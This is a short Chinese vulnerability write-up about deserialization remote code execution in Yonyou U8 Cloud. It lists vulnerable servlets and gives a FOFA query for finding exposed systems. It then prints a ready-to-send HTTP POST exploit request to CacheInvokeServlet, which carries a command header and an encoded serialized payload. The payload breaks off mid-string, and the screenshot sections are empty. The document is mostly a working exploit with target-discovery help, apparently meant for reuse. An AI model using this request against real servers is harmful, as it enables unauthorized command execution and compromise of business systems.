Y3-18用友-U8-Cloud-RCE

漏洞描述：

用友U8 Cloud存在多处（TableInputOperServlet、LoginServlet 、FileTransportServlet、CacheInvokeServlet、ActionHandlerServlet、ServletCommander、MxServlet 、MonitorServlet、LoggingConfigServlet、ClientRequestDispatch）反序列化漏洞，系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作，结合系统本身存在的反序列化利用链，最终造成远程代码执行。

网站图片：

网络测绘：

fofa语法：

FOFA：app="用友-U8-Cloud"

漏洞复现：

payload：

```
POST /service/~iufo/com.ufsoft.iufo.web.appletinvoke.CacheInvokeServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: whoami
Accept-Encoding: gzip
Content-Length: 20327

{{unquote("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00\xcd\x7b\xcb\x8f+\xebvW\xdf\x7d\xeeU\xc8\x09\x2877R\x14\x89\x01\xad\xcd\xa4;g\xd3m\xbb\xdd\xbd\xbb\xb3u\x80\xf5\xd5\xc
```

效果图: